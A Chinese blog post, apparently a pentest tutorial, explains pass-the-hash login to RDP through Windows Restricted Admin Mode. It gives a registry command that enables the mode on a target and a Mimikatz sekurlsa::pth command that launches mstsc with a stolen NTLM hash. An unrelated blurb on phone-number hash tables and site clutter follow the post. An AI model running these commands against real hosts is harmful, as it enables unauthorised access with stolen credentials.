利用哈希传递登录 RDP 远程桌面

简介

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员” (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 “Restricted Admin Mode” 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。

利用

1、客户端、服务器都需要开启Restricted Admin Mode。
2、win 2012实测可用。
通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f #开启Restricted Admin Mode,需要管理员权限。 REG query “HKLM\System\CurrentControlSet\Control\Lsa” | findstr “DisableRestrictedAdmin” # 查看是否成功开启
image.png
如上图所示,成功在目标主机开启了 Restricted Admin Mode。
然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行mstsc.exe /restrictedadmin来打开:
privilege::debug #管理员运行。 sekurlsa::pth /user:administrator /domain:xxx.com /ntlm:xxx “/run:mstsc.exe /restrictedadmin”
在这里插入图片描述
image.png

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
电话号码管理系统可以使用哈希表来实现。哈希表是一种能够高效存储和查询键值对的数据结构。在电话号码管理系统中,我们可以将电话号码作为键,将联系人姓名等信息作为值,将它们存储在哈希表中。 具体实现步骤如下: 1. 定义一个哈希表,用于存储电话号码和联系人信息。哈希表可以使用数组和链表实现。 2. 定义一个哈希函数,将电话号码转换为哈希表的索引。哈希函数应该尽可能均匀地将电话号码映射到哈希表中的索引,避免哈希冲突。 3. 插入电话号码和联系人信息。通过哈希函数将电话号码映射到哈希表的索引,如果该索引已经被占用,则使用链表将新的键值对添加到该索引对应的链表的末尾。如果该索引未被占用,则直接将键值对插入到该索引。 4. 查询电话号码对应的联系人信息。通过哈希函数将电话号码映射到哈希表的索引,如果该索引未被占用,则说明该电话号码不存在于哈希表中。如果该索引已被占用,则在该索引对应的链表中查找电话号码对应的联系人信息。 5. 更新电话号码对应的联系人信息。通过哈希函数将电话号码映射到哈希表的索引,如果该索引未被占用,则说明该电话号码不存在于哈希表中。如果该索引已被占用,则在该索引对应的链表中查找电话号码对应的键值对,并更新其联系人信息。 6. 删除电话号码和联系人信息。通过哈希函数将电话号码映射到哈希表的索引,如果该索引未被占用,则说明该电话号码不存在于哈希表中。如果该索引已被占用,则在该索引对应的链表中查找电话号码对应的键值对,并将其从链表中删除。 哈希表实现电话号码管理系统的时间复杂度与哈希函数的效率及哈希冲突的解决方式有关,一般情况下查询、插入、更新和删除操作的时间复杂度为O(1)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值